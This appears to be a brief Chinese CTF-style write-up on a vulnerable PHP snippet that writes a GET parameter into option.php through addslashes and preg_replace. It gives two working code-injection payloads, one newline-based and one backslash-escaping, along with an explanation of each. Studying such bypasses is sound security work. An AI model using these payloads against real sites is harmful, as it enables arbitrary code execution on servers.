上码

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

法一:

1. 第一步：?option=aaa';%0aphpinfo();//

   
   
   第一步

2.第二步： option=aaa

第二步

原理：正则表达式中 .可以匹配除了换行符之外的所有字符，所以人工添加换行符后，后面一个但因后就匹配到前面的那个引号于是phpinfo();得以独立存在

法二:?option=';phpinfo();//

法二

原理: '会让addslashes()在前面加一个反斜线,两个反斜线转译成一个反斜线23333